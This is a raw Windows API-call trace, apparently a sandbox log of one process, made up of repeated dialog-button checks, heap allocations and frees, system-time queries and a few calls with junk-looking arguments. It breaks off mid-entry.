IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.035] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.036] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f0 [0141.036] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.036] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.036] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de8f8 [0141.037] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0141.037] GetProcAddress (hModule=0x77b90000, lpProcName="memcpy") returned 0x77bb2340 [0141.037] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de910 [0141.037] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de928 [0141.037] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.037] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.037] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de910 | out: hHeap=0x3d0000) returned 1 [0141.037] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de928 | out: hHeap=0x3d0000) returned 1 [0141.037] FindWindowA (lpClassName="z\x07", lpWindowName="") returned 0x0 [0141.108] RasDeleteSubEntryA (pszPhonebook="z\x07", pszEntry="z\x07", dwSubentryId=0x4) returned 0x26f [0141.165] GetParent (hWnd=0x0) returned 0x0 [0141.166] PageSetupDlgA (param_1=0x18c9dc) returned 0 [0141.170] SendMessageA (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0141.170] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.170] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.170] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.170] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.170] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.170] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.170] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8f8 [0141.170] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.170] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de150 [0141.170] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.170] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8f8 [0141.170] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de150 | out: hHeap=0x3d0000) returned 1 [0141.170] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de928 [0141.170] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.170] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de928 | out: hHeap=0x3d0000) returned 1 [0141.170] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.170] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.170] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.170] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.170] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.170] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.170] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.170] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.170] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8301220, dwHighDateTime=0x1d595b2)) [0141.170] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8301220, dwHighDateTime=0x1d595b2)) [0141.170] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.171] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.171] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.171] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.171] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8301220, dwHighDateTime=0x1d595b2)) [0141.171] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.171] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.171] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8301220, dwHighDateTime=0x1d595b2)) [0141.171] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.171] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.171] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.171] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.171] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8301220, dwHighDateTime=0x1d595b2)) [0141.171] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.171] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.171] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8301220, dwHighDateTime=0x1d595b2)) [0141.171] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.171] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.171] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.171] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.171] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8301220, dwHighDateTime=0x1d595b2)) [0141.171] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.171] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.171] GetLastError () returned 0x578 [0141.171] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.171] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.171] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.171] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.171] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.171] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.171] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8f8 [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de150 [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8f8 [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de150 | out: hHeap=0x3d0000) returned 1 [0141.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de928 [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de928 | out: hHeap=0x3d0000) returned 1 [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8303930, dwHighDateTime=0x1d595b2)) [0141.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8303930, dwHighDateTime=0x1d595b2)) [0141.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8303930, dwHighDateTime=0x1d595b2)) [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8303930, dwHighDateTime=0x1d595b2)) [0141.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8306040, dwHighDateTime=0x1d595b2)) [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.172] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.172] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8306040, dwHighDateTime=0x1d595b2)) [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8306040, dwHighDateTime=0x1d595b2)) [0141.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.173] GetLastError () returned 0x578 [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8f8 [0141.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de150 [0141.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8f8 [0141.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de150 | out: hHeap=0x3d0000) returned 1 [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de928 [0141.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de928 | out: hHeap=0x3d0000) returned 1 [0141.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.173] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8306040, dwHighDateTime=0x1d595b2)) [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8308750, dwHighDateTime=0x1d595b2)) [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.173] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.174] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8308750, dwHighDateTime=0x1d595b2)) [0141.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.174] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8308750, dwHighDateTime=0x1d595b2)) [0141.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.174] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8308750, dwHighDateTime=0x1d595b2)) [0141.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.174] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8308750, dwHighDateTime=0x1d595b2)) [0141.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.174] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8308750, dwHighDateTime=0x1d595b2)) [0141.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.174] GetLastError () returned 0x578 [0141.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8f8 [0141.174] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.174] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de150 [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8f8 [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de150 | out: hHeap=0x3d0000) returned 1 [0141.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de928 [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de928 | out: hHeap=0x3d0000) returned 1 [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) 